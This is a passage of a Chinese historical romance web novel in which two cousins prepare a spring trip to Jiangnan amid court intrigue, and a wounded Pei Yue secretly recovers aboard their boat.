但顾珂能理解顾珈的想法,大约是祖父洒脱性情的影响,又大约是一身反骨的祖母的影响,如果换成自己,大约也不会做那三千红粉骷髅中的一个。
何况,都三年了,李维桢对姐姐现在的真实想法是什么,谁也无从知晓,这其中真正的不能忘怀有多少,还是九五之尊被拒绝后的不甘。
“那姐姐现在怎么想的”,顾珂握住顾珈冰凉的手。
“三年前他做不到,那时便已结束了”。
“那你对圣人现在的感觉……”
“三年了,我以为我已经没感觉了,可是……”,顾珈回握住顾珂的手,“我知道他三年前面对的是什么,但是一辈子太长了,为了男女之情抛弃自我,我做不到,我怕在那种吃人的地方,我会慢慢变成我讨厌的那种样子”。
“那就跟随你自已的心走,如果姐姐决定进宫,我们就帮你维护后宫地位,如果姐姐决定远离,我们就保护姐姐让你随心所欲,不管姐姐怎么选择,我们都支持你,相信大伯父,大伯母,还有祖父都会的”。
顾珈的心情收拾的差不多了,闻言笑道,“万一他要强纳我入宫呢,你还能抗旨不成?那可是杀头的大罪”。
顾珂到不担心,“除非姐姐点头,要不然圣人就是失心疯了,强抢祖父的孙女入宫,祖父非得煽动天下读书人用唾沫淹死他!”
“就你能耐”,顾珈的玉指在顾珂头上轻点,“恐怕到时候天下读书人不会觉得是他强抢民女,倒会觉得是咱们不识好歹,不能替君父分忧。”
“虽然只见过圣人一面,但给我的感觉是圣人不会糊涂至此的”。
说笑是说笑,顾珈闻言也点点头,“他应该不是那种人,可是他如果不想放手,必然还会有接触,蓁蓁,我怕的是我自已,怕再接触下去,我会动摇,会改变我的初衷,会放弃我的原则,既使他当初有千万种不得已,就算像他说的那样,以后只我一个人,但是吴淑妃和王昭容她们就在那里,这是不会变成的事实,蓁蓁,你明白吗”。
顾珂点点头,平心而论,抛却帝王的身份,李维桢也是极出色的一个人,姐姐身边的任何一个,甚至除了……
除了裴越外,她没找到另一个不论是从相貌还是才华、能力上面能胜过李维桢的人。
如果这样的人真的经常纠缠,二人本就有情愫,那顾珈如何能忘了他,终究陷入两难的境地。
顾珂不由叹了口气,想了想,出主意道,“不如我们出去走走吧”。
“去哪里”。
“去江南走走吧,黄庭坚有诗云春色满江南,雨晴风暖烟淡,天气正醺酣。听苏菱说,三月的江南最是怡人,等回来,也许一切都不一样了。”
顾珈听了,不由眼前一亮,“这个主意极好,到省得母亲天天催我们相亲,等我们回来,估计正好赶上祖父生日,大哥回来完婚”。
二人越说越有兴致,三言二语间就定下来了去江南的事,第二天一早二人便去禀了杜氏。
杜氏当时正在用早餐,听得顾珈的话,手中的筷子唰的就朝顾珈扔来。
顾珈头一偏,避开了,面上仍是笑嘻嘻的,倒把正在喝粥的顾伯山吓了一跳。
顾珂低着头悄悄的往旁边挪了挪。
“你个孽障!你要气死我是不是!”杜氏怒火中烧。
“我就是想出去转转,除了这长安,别的地方我都没见识过呢”。
“哪有你们两个未婚的闺阁女子可哪跑的,万一出什么危险你让我跟你父亲怎么活”,杜氏越说越来气。
“您看你扯哪去了,这天下太平的,哪里来的危险,何况怎么就我们两个人了,那不还有白芍绿芷、知情知意,还有……”顾珈还要数下去。
杜氏胸口的起伏越来越大,扬手要抛碗,一摸却没摸着,碗被顾伯山拢到了一边,杜氏更气道,转过头火气对着顾伯山就去了,“你们父女一天要气死我是不是,你闺女都这样了你还不管管!”
顾伯山三口并做两口,几下就喝完了手中的梗米粥,笑道,“你说孩子就说孩子,这怎么就扯到我身上了,夫人你要讲道理啊”。
杜氏深吸一口气,道,“好,那你跟她讲道理”。
顾伯山转过头对着顾珈轻咳一声,道,“你那个鞭子别忘了带上”。
杜氏用力拍了一下桌子,刚要起身发火,顾伯山转身拉住她,把她搂在椅子上,“我倒觉得出去转转也挺好的啊”。
杜氏眼一瞪,正待发作,顾伯山忙接道“你看你少时跟岳丈、舅兄他们在西北呆过,我总觉得你跟这京城中未见过世面的妇人不一样,孩子们没有你的机遇,没锻炼过眼界,而且你看这孩子们守孝三年,在家也憋坏了,这眼瞅就要说亲,以后当了别人家的媳妇,出来进去的,哪里还能像现在这样自由,别人问起,就说探亲去了,多带些人就是了,明天我去趟舅兄那,管他借两个身手好的侍卫,就更没什么可担心的了”。
顾伯山看杜氏听进去了,正思索他说的话,忙趁热打铁,在她耳边小声道,“二弟妹和母亲去世,蓁蓁与季氏又不太处得来,她这些年心里不好过,正好出去散散心,父亲那边我去说,想必也不会反对的”。
杜氏沉吟不语,顾伯山凭着对妻子的了解,知道这件事大抵上是成了,又对着二人正色道,“你们二人也当知道你母亲、大伯母的苦心,只她纵着你们,但从江南回来之后,对自已的亲事也该上心了。”
顾珈、顾珂连连点头称是。
顾珈喜上眉梢,忙坐道杜氏身边抱着她的胳膊撒娇,“知道母亲最疼我们了,从江南回来后我们一定事事听从母亲的吩咐,母亲让我们往东,我们绝不往西”。
杜氏听了这话,狠狠瞪了她一眼,又在她脑门上戳了一下,道,“这可是你应了的,回来莫
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要再推三阻四了”。
顾珈忙道,“是是,都听母亲的”。
杜氏又看顾珂,顾珂坐在杜氏的另一边,拉着她的袖子道,“都听大伯母的”。
杜氏叹了口气,拍拍顾珂的手,这边顾伯山已是把饭碗摆了回来。
“夫人消消气,别耽搁了用饭,这粥我刚才尝过了,米香十足,你用用看”。
杜氏重新用起饭来,这厢算是落定了。
等杜氏低头用饭,顾珈与顾珂挤挤眼睛,顾珈还在身手向顾伯山比了比大拇指。
顾伯山面上不动声色,只端起粥碗吹凉,一幅事了拂衣去,深藏功与名的高人姿态,看得顾珂心中对大伯父的信服更上一层楼。
余下几日,顾珈的酿春堂和顾珂的浣花庐便忙了起来,为出行做准备。
没想到裴越却使了人上门求见顾二姑娘。
原是裴越兑现上巳节那天承诺的茶叶。
顾珂颇感意外,只道她那天是随口一说。不想竟真的送来了。
因那日答应苏菱的事,于是便去见了祖父,一是道别,二是说一下想邀苏菱兄妹上门的事。
去了祖父院子,却得知祖父一早去了曲江池垂钓去了。
左右无事,顾珈不在府中,顾珂便带着知情知意二人坐马车去寻顾衡。
到了曲江边,顾珂一眼便寻到了祖父,便下了马车往池边走。
“祖父……”,待顾衡回过头,顾珂才发现,祖父身边还坐着个儒雅俊秀的中年男子。二人正相谈甚欢。
顾衡回过身,见是顾珂,“呵呵”一笑,缕了缕颌下花白的胡子,为中年男子介绍到,“这是我二孙女顾珂”。
又对着顾珂道“来见过裴驸马,这可是二十多年前,广文馆三千弟子中最优秀的学生”。
顾珂怔了一下,马上反过来这人是谁,深感意外,弯身行了一礼,“见过裴驸马,问候长公主妆安”。
从未听说家里跟长公主府有何交往。
这位裴驸马顾珂倒是听说过。裴驸马名裴从谨,出身河东裴氏嫡支,大约二十多年前是国子监广文馆中名气最大的监生。
后来却突然尚了惠和公主,因本朝驸马不得参政,而裴从谨是河东裴那一辈最优秀的子弟,被族中寄予厚望,故河东裴氏的族老们气得呕血。
认为是皇家用强权压制裴从谨,甚至裴家朝中子弟纷纷上书弹劾惠和公主,直至后来裴从谨亲自回族中解释,是其对惠和公主一见钟情,惠和公主才答应下嫁。
裴家怒其不争,偏裴从谨极有主意,最后才不得不做罢。
这段故事甚至被好事者写成话本子,成了多少深闺女子的枕边读物,都憧憬着能够遇上一个如裴驸马般的人物。
带看清了这位传奇人物的相貌,顾珂不由感叹传言还是保守了。
裴越继承了其父母的好相貌,而裴驸马随着年龄的增长与阅历的增加,更显超脱从容。
比起祖父这个前国子监祭酒,倒更显名士之风。
而此时这个传奇人物正笑着看了看顾珂,转过头对顾衡道,“果然是老师的孙女,看上去格外灵秀聪惠”。
顾衡得意的一笑,又故作谦虚道“勉强算不得愚笨罢了”。
“听公主说,我那个傻儿子五年前就是被你这个女娃娃所救?”
17. 折柳
顾珂一愣,道“是我要感谢裴公子和长公主的援手才是”。
裴驸马笑着摆摆手,“前一阵子听说你出孝了,还念叨着这两日要给你下帖子呢,倒时候你陪她好好说说话吧”。
顾珂心中微讶,道“长公主殿下还记得我?”
裴驸马道,“这孩子,公主当年在府中可是夸了你好几天,后来还想给你母亲下帖子邀你们来玩,只后来知道令堂身体不适……才做罢,老师还有个孙女吧,到时候一起来玩吧,府里也好久没有女孩子热闹了”。
见祖父未出言反对,顾珂低头应是。
旁边传来一道含笑的清朗男声,“父亲,您莫吓到人家姑娘了”。
顾珂心头一跳,不用回身,也知道来人是谁。
裴越拱手,“见过大司成”。
顾衡看他一眼,摆摆手道,“莫讲究这些虚礼,倒是好久未见你小子了,听说是去北边打回纥去了”,后边那句话是问裴驸马。
裴驸马道,“前一阵子回来的,早该来见过大司成”。
顾衡哼道,“见我干嘛”,又对裴越道,“这回回来不去了吧”。
“不去了”,裴越淡淡道。
顾衡捻着胡子点点头,顾珂却有些意外的看他一眼。
裴驸马道“时候还早,我跟老师再钓一会。你们别拘在这了,故彰,天气不错,带顾姑娘去划船吧”。
故彰是裴越的字。
顾珂本是来找顾衡的,见顾衡一时半会不走,又有外男,本想拒绝,顾衡却先道,“去吧,你们说话声那样大,扰的鱼儿都不上勾了”。
裴越笑着应是。
顾珂只好咽回嘴里的话。
裴越做了个请的动作,“顾二姑娘,请”。
顾珂略颔首,二人便一前一后向水边走去。
早有眼尖的船娘招呼二人选船,船都不大,裴越挑了一个最大的,能坐四五人的,顾珂便带着知情和知意随他上了船。
知情和知意本要划桨,被裴越含笑接过,二人只得默默坐在两边。
曲江池上水暖风轻,新柳如烟。裴越轻执木桨,慢悠悠一点,舟身便荡开了岸。
顾珂倚着船身,不自觉的伸手轻触微凉的春水,几片玉兰花瓣沾在她袖口。
听见桨声停了,她侧过头,恰好撞进他含笑的目光,耳尖不由微微一热,忙别开眼往岸上看。
“顾二姑娘跟以前还是一模一样”,裴越开口。
顾珂目光微微一凝,原来,他还记得她。
她微微垂下眸子,“过了那么久,肯定会变的,怎么可能还是一样”,毕竟那么多事情都不一样了。
没想到裴越却点点头,道,“确实变了,变得更加清新脱俗,让人一见难忘”。
顾珂微蹙眉头,不由微瞪他。
裴越眼底漾开浅浅的笑意,刹那如春风拂过湖面,顾珂别过头去,知道他在逗她,不愿再理会他。
心下却没刚才那么紧绷了。
知情知意对看一眼,尽量降低自己的存在感。
一时二人都没言语,耳边只余桨声荡漾,偶尔惊起几只掠水的燕子。
大约划到了湖心,裴越放下桨,也坐下来休息片刻,小舟便顺水随意漂流。
裴越开了口,“府中的玉兰花开得甚好,过几日我母亲大约会下帖子邀请贵府姑娘来府上坐客,还望届时一定赏光”。
顾珂道,“怕是辜负长公主美意了,过几日我与姐姐便要去江南游玩,顺便探亲,怕是不在长安了,等我与姐姐从江南回来有机会一定去向长公主殿下问安”。
裴越有些意外,“去江南吗?要去哪里”。
“杨州、苏州是要去的,如果时间充足,杭州也想去看看”。
裴越点点头,“这时间这几个地方想必景色十分怡人,只是一来一回需要不少时间”。
顾珂微点了点头,“预计来回三个月吧,想赶在祖父生日前回来”。
“可惜了,只怕这几日两位姑娘忙于准备,没有时间来寒舍了,只好请母亲再等几个月了”。
顾珂有些纳闷,倒底没忍住,“长公主殿下功于社稷,身份尊贵,想必府上平日应该十分热闹才是”。
如何就说的这样遗憾。
“母亲身边虽然不缺与她聊天的姑娘们,但是随着年纪渐长,一般的关系,母亲也不耐应酬,她常说时下的小娘子们都过于温腕顺从,不如那晚见过的小姑娘灵秀,觉得十分投缘,故而一直念叨着要再见你,只可惜一直错过了”,裴越道。
顾珂半信半疑的看着裴越,终究没在他脸上看出什么来。
顾珂有点怀疑自己了,难道自己平日里实在是过谦了,位高权重的人才能欣赏她?
裴越偷眼看顾珂,见她一脸纠结,忍不住心中暗笑。母亲确实很欣赏她,这点他没说错。
那日马球赛后,他回家与母亲提起又见到她的事,母亲果然还记得她,确实也一再说了要给她下帖子,只被他拦住了。
他这刚回京城没几日,盯着长公主府的眼睛那么多,这冒冒然的给人小姑娘下帖子,怕不传得满城风雨。
此时说起来,也是想看看顾珂的态度,只没想到人要走了。
半晌,顾珂才挤出一句,“谢长公主抬爱”。
裴越想了想,又问,“顾大姑娘也要一同去吗”。
不知道有些人知道了坐不坐得住。
李维桢对顾珈的感情,旁人或许并不知道,但是只与李维桢小五岁的裴越却清清楚楚,先皇后去的早,李维桢由惠和长公主抚养,与裴越一同长大,二人虽为舅甥,实际上跟兄弟无异。
可以说,除了惠和长公主,最了解李维桢的人就是裴越,那日二人正在宫中闲聊,听到内侍传来的消息,李维桢马上就坐不住了。
当时裴越离得远,只隐约听到大姑娘、马球赛等词。后来李维桢就说是要带他来看看马球赛,硬拉着他来庆王府,他才又遇到了顾珂。
要说马球赛当日李维桢压着静宁县主道歉还说明不了什么。
可是短短几日,静宁县主就被禁足了,崔三娘又落了那么个亲事,再没想明白李维桢的火从何来,二人也白认识二十年了。
这是给顾大姑娘出气呢。
只这个小舅舅手段了得,事情做的滴水不漏。外人看来还以为这是在敲打庆王府的跋扈,约束皇室中人作为、尊重官员眷属的开明之举。
阁老们为小舅舅的圣明又记上了一笔。
顾珂道,“是的,我与姐姐做伴同游”。
船飘过水边,裴越扬手折了一段柳枝,递给顾珂,“那便祝二位姑娘一路顺遂
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,早日归家”。
*
待过了两日,顾府众人看着眼前的两个武婢,面面相觑。
刚才内侍领着二人过府,还传了圣人的口谕,说是圣人感念大司成当初培育之情,因静宁县主一事让二位顾姑娘受了委屈,圣人心中甚是过意不去,故送来二位会拳脚的武婢,保护二位姑娘,防止再出现之前的事。
满府之人,只有顾珂一人知道这前因后果,这必然是裴越当了耳报神的结果。
顾珈紧皱眉头,杜氏比起她也不惶多让,内侍前脚走了,她便忧心仲仲的开口,“这如何使得”。
女子间口角,如何就上升到需要派武婢来,且论起身手,更应该被保护的应该是静宁县主吧。
莫不是圣人搞错了,圣人才二十多岁,记性这么堪忧,看来那位置当真不是什么好坐的。
顾珈也不太明白,但是隐隐猜到与自己有关,不好多说,只安慰母亲道,“不管怎么样圣人都是好意,他族妹欺负人,他为显贤明,代为致歉也说得通”。
顾珂也点点头,“是啊,大伯母,舅舅送来的那两位侍从倒底是男子,有些事情不便贴身跟随,这回有了两位武艺高强的侍女,我和姐姐这次江南之行可是大有保障”。
顾怀仁道,“圣人果然有仁君之风,礼贤下仕,实乃我等臣子之福”。
顾伯山点头赞同,虽不明白什么事,但知女莫若父,他可跟心大的妻子不一样。
顾珈虽然掩饰的很好,但他只消一眼,便大约确定此事大抵同他这个宝贝女儿脱不了干系,只有些话此时也不便多问,便点头附和顾怀仕的话。
“倒底是父亲桃李天下,泽披子女,圣人虽只听过父亲的讲学,并未真正入过国子监,却也认同这个师生之谊,当真明主之风,再说,雷霆雨露俱是君恩,我们只要感念圣恩就好”。
杜氏被他们左一言右一语的,觉得就是那么回事,又是沾了老爷子的光了。
细想之下又觉得确实是极好的事情,顾珈她们这次去江南,她最为惦记她二人的安全,这回有了这两武婢,她可放心多了。
便也高兴起来,又张罗着晚上要加菜,直说要陪公公喝上几杯。
两个武婢,细问之下才知二人还是亲姐妹。
个子高些不太爱说话的是姐姐,叫夏儿,个子矮些,笑起来憨憨的叫秋儿,是妹妹。
二人便各领回去一个,顾珂想着,秋儿和知意看上去性情相似,大抵这回是有伴了。
*
随着时间的推移,二人的东西也准备的差不多了,按照顾珈二人的计划,还有两日,她们便出发了。
她们计划先走水路,顺渭水东行进入黄河,先到洛阳玩上几日,一路顺水过汴州、泗州,然后到扬州、苏州,再往回返。
主要以水路为主,这样不至人困马乏,烟花三月下扬州,景色也是极美的。
故而这两日,大部分的行李已经渐渐的上了船。
因着那日泛舟后,顾珂便跟祖父提了苏家兄妹的事,第二日顾珂便给苏菱下了帖子邀她带着兄长来家里坐客。
顾珂又想着和顾珈这一走需好几个月能回来,又提笔给杜忘真和韦家姐妹下了帖子,邀她们在走之前一起来热闹热闹,故而这一日顾珂姐妹二人便没有收拾东西,一早就起来准备待客。
18. 赐婚
顾珂在顾珈房里,二人正问着厨下管事娘子餐食准备情况。
“二位姑娘放心,夫人一早便使了申嬷嬷来提醒我们,绝对不能给二位姑娘丢面儿,昨个让人从庄子上送了些引温泉水培育的新鲜瓜果,说是二位姑娘第一回请男客上门,绝对要让来的哥儿、姐儿们赞不绝口”。
那管事娘子如爆豆一样将杜氏的吩咐全吐露出来。
听得顾珈脸都黑了,还是顾珂茬开话题,打发了她去。
“苏公子是来拜见祖父请教学问的,到底还是大伯母侍亲至孝,如此重视,想必祖父必然欣慰”。
待人走了,转头看见顾珈沉着的脸,笑道“大伯母想必是高兴坏了”。
顾珈啐她道“说得好像只我一人的事似的,没看把咱两都装进去了,活像嫁不出去,八百年没见过男人一样”。
“大伯母是心直口快,好在这些人都是自己家中的老人了,不会传出去的”。
二人说话间,却是杜忘真先到了。
“好啊你俩,竟是悄摸摸的干出这么大的事,当真是让人羡慕”。
杜忘真跟她俩关系与旁人不同,没用通传,径直入了房间。
顾珈道,“羡慕的话跟我们一起走,正好做个伴”。
“你舅母怕不会撕了我的皮”。
姐妹二人笑闹一会,有丫头来报说是苏姑娘和韦姑娘都到了,几人便一同去了花厅。
苏公子不便来后宅,便由家仆引着直接去见顾衡。
苏菱和韦家姐妹正在吃茶,见她二人来了,少不了表达了一番羡慕之情。
苏菱拿出一张名帖,递给顾珂,“我们家在苏州的宅子勉强还看得,你俩如不嫌弃,就在我那落脚吧,总归是自己的宅子,出来进去比驿馆要方便些,我回头给宅子的仆人写封信,你们拿着我的名帖直接去就好。”
顾珂忙推辞,“这哪里好意思,太打扰了”。
苏菱倒是实心实意的,“你们两个姑娘家总不能到哪里去都住外面,实在是太不安全了,也不费什么事,老家的老仆也都是信得过的,你们要再推辞就是跟我见外了”。
顾珂见她坚持,看了顾珈一眼,顾珈笑吟吟的未反对,便不再推辞。
有宅子住倒确实方便些。
“都说苏州的园子修的极为精巧,讲究颇多,你们俩去替我们好好见识见识,回来多与我们讲讲”,韦二娘道。
“可不能只是讲讲,蓁蓁画技高超,回来画上几幅送与我见识见识,也不知道这辈子有没有机会去那边亲自见识见识”,杜忘真道。
韦五娘问,“只听说顾二姐姐写得一手好字,闻名长安,没想到画技也如此了得吗?”
杜忘真与有荣焉道,“我们蓁蓁可是书画双绝的大才女,小时候我就见过她画过很多画,只是不总画罢了”。
顾珂对韦五娘道,“你莫听她的,随意画着玩玩罢了”。
“平日里却实很少见蓁蓁画画,但我见过她画的红鲤图,当真十分传神,嫂子这点没说错”,顾珈说道,又惹得杜忘真要来撕她的嘴。
一时间几人热热闹闹,待笑闹一番,韦二娘突然想起一事。
“哎,你们听说了吗,圣人要给寿光县主赐婚了”。
几人瞬间来了兴致,不由追问。
“对方是谁”。
“你们猜猜”,韦二娘卖起了关子。
杜忘真道,“总不能是要进宫做妃子了吧”。
顾珂下意识的看了顾珈一眼,顾珈面色如常,似在认真品尝着点心。
苏菱摇摇头,“寿光县主不是昌王的女儿吗,那与圣人不是堂兄妹吗,那如何使得”。
这回轮到韦二娘惊讶了,“昌王是高祖收养的义子,跟先帝是义兄弟,所以寿光县主与圣人做妃子也不是使不得,只是这回是实打实的要赐婚”。
说完又看看众人,“你们都不知道吗?昌王与先帝并没有血缘关系?”
众人这回当真有些吃惊,这么大的事从未听家里人提过,实在是昌王和寿光县主一家人实在是太低调了。
平日里几乎听不到他们的消息,只偶尔能看见寿光县主一面,寿光县主本人亦十分低调,大约是实在没什么好提的。
这回韦二娘突然提起赐婚,也是几人第一次正面面对寿光县主的传闻。
韦二娘默了默,实在是不知道说几人什么好。
顾珈催促道,“倒底是要给谁赐婚啊?快别卖关子了”。
韦二娘道,“就是这两日的事情,昌王本人突然进宫求见圣人,亲自向圣人求的赐婚,求的是裴越”。
最后几个字韦二娘还特意拉长了音。
顾珂眉心突的一跳,手中的茶杯没拿稳,溢出些茶汤洒在地上,好在茶汤已经不热了,没烫到手。
顾珈忙起身查看她的情况,看她确实没被烫到,不由念叨,“多大的人了,还这么毛燥”。
顾珂笑笑,“一时没拿稳,不要紧的”。
见顾珂确实没事,众人又七嘴八舌的议论起刚才的事来。
韦五娘眉头微蹙,实在是有些意外,“那这么说的话,昌王与圣人没有血缘关系,那与长公主也没有血缘关系了,昌王一家子当真是不见兔子不撒鹰啊,要么不出手,一出手就挑了个最好的。”
杜忘真也感叹道,“可不嘛,昌王府不像庆王府富贵,也无甚实权,且不说那裴越如何,没想到竟然还想着和长公主结亲,平日里太过于低调了,如今倒是令人有些惊讶”。
“平日里也没听说寿光县主……有何过人之处,长公主和裴越也同意了?”,顾珈问道。
韦二娘摇摇头道,“那倒好像还没有,听说是圣人要问问长公主和裴越本人的意思,如果彼此有意,再赐婚。”
“一般求亲,都是二家私下里达成默契,再找媒人上门,免得有什么意外,双方面子上都不好看,这赐婚想必也是一样的道理吧,昌王府一贯低调,要是没跟长公主府商量好,大约也不会冒冒然的求到圣人眼前去,不管怎么说,这一对倒真是让人意外啊”,杜忘真分析道。
“可是我觉得寿光县主与裴越并不相配啊”,韦五娘还是觉得无法把二人放在一起。
苏菱道,“感情里的事别人哪里看得准,如人饮水,冷暖自知,也许他二人私下里相处时非常愉悦也说不定”。
顾珈看着始终未发一言的顾珂,心中浮起她与裴越的渊
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源,心下微沉,不由反驳道,“看这昌王府做的事情,我倒觉得,是他们一厢情愿的,如果当真是两情相悦,那肯定是长公主府做为男方求到圣人那里,肯定要比昌王府做为女方求到圣人那里,颜面上更好看些”。
众人一时又觉得顾珈说的在理,纷纷点头,顾珈便顺势引着众人去用饭,算是岔开了这话题。
几人对杜氏和顾珈姐妹的精心安排赞不绝口,一时便把这个话题抛开了,直至宾主尽欢。
*
人人尽说江南好,游人只合江南老。
春水碧于天,画船听雨眠。
注—唐韦庄
江南篇启。
船行江上,春风先一步扑在脸上,带着江水特有的清润气息。
顾珂看了一眼远处江面水天相接处,似蒙着一层薄薄的春雾,淡青的山影在雾中若隐若现。
心中默默计算还要几日才能到靠岸汴州,一边从廊板上经过,走回自己的舱楼。
房间里光线微暗,顾珂先进了房间,知意跟了进去,提着食盒走在后面的秋儿左右看了一眼,轻轻的插上了门,知情却是守在了门口。
透过窗子散进几丝光线,隐隐照出帐幔后的床上似静静躺着个人影。
屋子里有细微的血腥气传来。
知情上前撩起帐幔,露出床上虽苍白也不掩其俊秀的一张脸,此刻这张脸的主人双目紧闭,眉头微蹙,似是正在忍受伤痛。
这人却是三天前突然出现的裴越。
裴越是突然出现在船上的。
彼时她与顾珈刚从洛阳登船准备往下一站汴州去。
船大约刚开了有一个时辰,顾珂正倚在美人榻上一边吃葡萄,一边看知情和知意翻花绳。
突然暗下来的光线使得三人下意识的抬头,窗子上却是翻进了个人,吓得知情和知意忙护在顾珂前头,正准备放声尖叫。
顾珂反应却快了一步,猛的一拉,对着二人做了个噤声的动作。
窗子上的人见到她们,似是放松了下来。再也无力支撑身体,竟从窗子上滑到了地上。
随着阻挡消失,光线再次明亮起来,知情知意才看清。
这人竟是裴越。
顾珂比她二人反应快,蹲在裴越身边,见他一手捂着腹部,伤口竟是仍向外在渗血。
她有些不知所措,一时间竟不知如何是好。
“又见面了顾姑娘”,却是裴越先出了声,声音有些弱,仔细听还能听出来些微强忍的颤抖。
“这是怎么回事”,顾珂终于找回了自己的声音,抬起头,裴越正垂着眸子看着她。
顾珂心里一跳。
裴越撑出一声笑意,“给圣人办差途中被人盯上了,我躲到了船上,应该未被那伙人发现,为了保证安全,请姑娘莫要声张”。
声音竟是越来越微弱,眼看着似是再也撑不住了。
顾珂知道此时不容耽搁,忙问道“我找侍卫给你包扎一下,然后就近靠岸找大夫给你治,是否可行”。
裴越咬了咬牙,笑意已是撑不住了,“找秋儿来,她会医术,别惊动别人……”。
话音未完,人已是歪了下来,晕过去了。
19. 受伤
顾珂忙扶一把,透过单薄的春衫传来他的体温滚烫的吓人,忙对知情道,“去把秋儿喊来”。
又嘱咐知意去厨下弄些热水,再去箱笼里翻找些药物来。
好在这次是出远门,东西都备的足。
船是顾家包的,有个二十来间房间,除了船工外就是顾家的主仆。
即便如此,顾珂也叮嘱二人莫要声张。
秋儿被唤来后一头雾水,她不是自小侍奉在姑娘们身侧的,还是圣人钦赐的,自然和知情、知意她们内外有别。
所以日常起居这些事,顾珂也不用她,尤其在自家包的船上时,她一般在自己的房间休息,只在靠岸离船的时候才跟在顾珂身边保护她的安全。
故知情突然找来,她是有些意外的,然看到顾珂身边受伤的裴越后,脸色忽的一变,忙回身关好门,快步走到裴越身边。
顾珂见状,猜到他二人此前应是认识,便道,“裴公子突然带伤翻进窗子,应是替圣人办差时被伤,晕倒前说你会医术,劳你给他看看,我看着腹部的伤口似是仍在流血”。
秋儿看了顾珂一眼,忙应是,低头查看了一番裴越的伤口后,微松口气,回顾珂道,“小公子这伤口颇深,好在并未伤及要害,一会我给他清理一下伤口,重新换药应是可以止住血了”,顿了顿,眉头微皱道,“只是这伤口发炎的厉害,小公子身上已是开始发热,需要退热,如热能退下去,应该无大碍”。
顾珂沉思了下道“裴公子既是为圣人办差,此刻我们肯定全力帮助他,既然他指名要你医治,想必你是他信得过的人,为了保证安全,知道此事的人越少越好,把裴公子挪动到床上吧,就在这间房间医治,对外还是莫要声张”。
秋儿点点头,“好的姑娘”,说完,也不啰嗦,弯下腰双手一用力,却是把裴越直接横抱了起来,放到了床上,看呆了刚端着热水回来的知意。
初步了解了裴越的伤情,顾珂心中微定,略沉吟了下,又嘱咐几人,“这件事情非同小可,因为伤害裴公子的人在暗,我们在明,尤其船上还有船主的人,不得不防,这几天我们还照常在这个房间,出来进去一定要与往常一样,莫要让人看出什么异样”。
几人都点了点头,顾珂想了想,留下秋儿医治裴越,还让细心的知情给她打下手,自己则带着知意出了房间去找顾珈。
现在在水上,裴越这情况也暂时挪动不得,一切都得等裴越醒来,船到汴州靠岸后再做定夺,船家能瞒,顾珈那边却是瞒不住,也需要顾珈帮忙打些掩护。
顾珈刚要午睡,看到她来颇感意外,待到顾珂把事情告诉她后,她却是眼睛都睁圆了。
顾珈好看的眉头微沉,开门唤人把夏儿叫了进来。
“我们姐妹原是长公主的亲卫,与我们一起的还有十余人,圣人登基后有些侍卫不便近身在后宫保护,长公主便把我们送入了宫,在圣人回后宫的时候,保障他的安全”,夏儿一五一十的道出自身的来历。
“怪不得裴公子对你们如此熟悉”,顾珂道。
“倒不是故意对姑娘们隐瞒,只是我们是圣人派来护卫姑娘们的安全,护卫好姑娘们,就是我们的目的,姑娘们若不问起,一时也未想起来说”。
顾珈摆摆手,“没有怪你们的意思,你也去帮帮秋儿吧,我这边没什么事,知情、知意没碰上过这种事,她自己一个人倒底费事些”。
夏儿低头应是,顾珂与顾珈低声商量了一番便带着夏儿回了房间。
回到房间时,秋儿手脚麻利的已基本处理好了裴越的伤口,正一边包扎一边叮嘱知情准备熬药的工具。
见夏儿来了,秋儿似是松了一口气,夏儿接管了知情手里的活,秋儿便一心处理裴越的伤口。
男女有别,顾珂也不好一直盯着裴越因包扎而赤祼的上身。
裴越这几日便一直睡在她的床上,好在她这间房间是个套间,晚上秋儿在裴越床下打地铺,方便照顾他的伤情。
她便睡在外间临窗的罗汉床上,知情和知意轮流值夜。
今日是第三日了,再有二日船就要行到汴州了。
顾珂见他仍未有醒转的迹像,回转身便倚到旁边美人榻上准备歪一会。
秋儿把手中的食盒放在窗前的桌子,到床边查看了探了一下裴越的体温,回头对顾珂道,“姑娘,小公子没再烧了,估莫着最晚明天应该就能醒过来了”。
顾珂闻言心下微松,点了点头。
裴越烧了三日,今天早上,烧终于退了,秋儿的意思是如果今天不再烧,这一关就算真正过了,剩下的就是慢慢将养伤口了。
秋儿见小公子无事,便去厨房准备熬药了。好在这次出门,这些常见的止血退热的药物都备的齐全。
这几日给裴越熬药也是小心翼翼,对外就说顾珂感染了风寒,熬完药的药渣子一时也不敢留,忙倒到江中。
裴越烧了三日,众人的心也跟着提了三日,大约是见裴越终于脱离了危险,心下放松,顾珂倚着美人榻竟渐渐的阖上了眼。
待渐斜的夕阳刺到她脸上,她才忽的惊醒,抬起头却迎上了一双略带笑意的目光。
裴越正微侧着头看她,也不知道他醒了多久。
她忽的耳尖微红,虽然二人同处一室已有三日,只他突然醒转,在他清醒的时候面对,竟有些不知所措。
却是裴越先开了口,“顾姑娘又救了我一次”。
顾珂轻咳了声,见知情也趴在外间桌子上睡着了,便直起身子走到床前,“裴公子醒了,身上感觉如何”。
裴越摇摇头,“除了没有力气,倒没有什么别的感觉了,想来应该无大碍了,秋儿是我母亲身边医术最了得的,当年跟鲁乐老头学过三年”。
怪不得裴越如此相信秋儿的医术,顾珂点点头坐到床前的小凳子上,“裴公子当真神机妙算,送来的人终究救了自己一命”。
裴越见顾珂意有所指,也不否认,只笑意越发深了,“救我命的当然是顾姑娘”。
顾珂不接她的话,问道,“裴公子躺了这些天,饿不饿,
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是否需要用些膳食"。
裴越轻摇了摇头,露出一丝苦笑“想来在下躺着的这些天,苦药也没少吃,现下嘴里还苦着,竟是一点胃口都无,先缓缓吧”。
“也好,备在食盒中的食物大抵这会也凉了,再过一个时辰大约也到晚食的时间,到时候用些温热的食物吧”,顾珂道。
裴越问“我躺了多久”。
“正好三天”。
裴越心中计算了下,“那应该再有二日就到汴州了吧”。
“是的”,顾珂顿了顿道,“不知裴公子因何受伤”。
裴越道,“圣人登基后虽可堪为明君,但总有人在背地里搞小动作,此前我已秘密追查了些时日,几日前,正查着一个线索,等我找到线索时,已经打草惊蛇,人去楼空,还中了对方的埋伏。虽然我是蒙着面的,对方并不知道我的身份,可是我却不敢回府,怕露出形藏,一路躲避他们的追杀到了洛阳,又跟他们恶战了一场,趁他们不备逃到码头,好在看见你家船上的家徽,便躲到杂物室,待船安全离了岸才敢来寻姑娘”。
大约是失血过多身上没有力气,裴越说着,身体有些微喘,嘴唇也有些苍白。
顾珂思索了下道“那裴公子接下来做何打算,有什么我能帮得上忙的,尽管开口”。
